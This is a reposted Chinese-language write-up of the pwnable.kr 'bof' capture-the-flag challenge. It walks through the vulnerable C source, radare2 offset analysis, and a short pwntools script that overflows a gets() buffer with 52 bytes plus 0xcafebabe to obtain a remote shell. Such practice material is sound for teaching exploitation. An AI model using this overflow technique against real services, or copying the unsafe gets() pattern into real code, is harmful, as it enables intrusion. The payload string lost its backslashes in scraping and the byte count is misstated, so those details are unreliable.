pwnable.kr第三题:bof
发布时间:2020-12-14 04:40:13 所属栏目:大数据 来源:网络整理
导读:0x000查看源码 打开bof.c文件 1 #include stdio.h 2 #include string .h 3 #include stdlib.h 4 void func( int key){ 5 char overflowme[ 32 ]; 6 printf( " overflow me : " ); 7 gets(overflowme); // smash me! 8 if (key == 0xcafebabe ){ 9 system( "
0x000查看源码
打开bof.c文件 1 #include <stdio.h> 2 #include <string.h> 3 #include <stdlib.h> 4 void func(int key){ 5 char overflowme[32]; 6 printf("overflow me : "); 7 gets(overflowme); // smash me! 8 if(key == 0xcafebabe){ 9 system("/bin/sh"); 10 } 11 else{ 12 printf("Nah..n"); 13 } 14 } 15 int main(int argc,char* argv[]){ 16 func(0xdeadbeef); 17 return 0; 18 } ? 源码分析: 要想执行第9行的“system("/bin/sh")”,程序会先判断key的值是否为0xcafebabe,现在最关键的地方就是找到key的位置,并将地址的内容覆盖为0xcafebabe。 0x001分析汇编代码 使用radare2分析汇编代码:
? ? ????? 查看main函数 ?????? ? ? ?查看func ? ? ?分析程序可知,用户输入的地址为var int local_2ch @ ebp-0x2c,key存放的地址为arg unsigned int arg_8h @ ebp+0x8,现在,要做的就是计算用户输入的地址到key存放的地址之间相差多少字节,0x8+0x2c,化为十进制结果为52,所以在这段距离中填充任意字符,然后再填充两个字节0xcafebabe,就可以获得一个shell了。 0x002 脚本编写 from pwn import * pwn_socket=remote(‘pwnable.kr‘,9000) pwn_socket.sendline(‘a‘*52+‘xbexbaxfexca‘) pwn_socket.interactive() 运行即可获得一个shell: (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |